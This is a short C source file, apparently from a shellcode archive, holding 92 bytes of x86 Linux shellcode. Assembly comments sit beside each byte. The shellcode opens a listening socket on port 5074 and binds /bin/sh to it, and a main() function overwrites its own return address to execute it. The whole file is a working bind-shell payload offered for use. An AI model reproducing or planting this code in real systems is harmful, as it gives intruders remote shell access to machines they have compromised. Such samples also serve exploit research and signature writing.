/* * s0t4ipv6@Shellcode.com.ar * x86 portbind a shell in port 5074 * 92 bytes. * */ char shellcode[] = "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x40" // incl %eax "\x89\xc3" // movl %eax,%ebx "\x50" // pushl %eax "\x40" // incl %eax "\x50" // pushl %eax "\x89\xe1" // movl %esp,%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x66\x68\x13\xd2" // pushw $0xd213 "\x43" // incl %ebx "\x66\x53" // pushw %bx "\x89\xe1" // movl %esp,%ecx "\x6a\x10" // pushl $0x10 "\x51" // pushl %ecx "\x50" // pushl %eax "\x89\xe1" // movl %esp,%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x40" // incl %eax "\x89\x44\x24\x04" // movl %eax,0x4(%esp,1) "\x43" // incl %ebx "\x43" // incl %ebx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x83\xc4\x0c" // addl $0xc,%esp "\x52" // pushl %edx "\x52" // pushl %edx "\x43" // incl %ebx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x93" // xchgl %eax,%ebx "\x89\xd1" // movl %edx,%ecx "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 "\x41" // incl %ecx "\x80\xf9\x03" // cmpb $0x3,%cl "\x75\xf6" // jnz <shellcode+0x40> "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80" // int $0x80 ; main() { int *ret; ret=(int *)&ret +2; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; }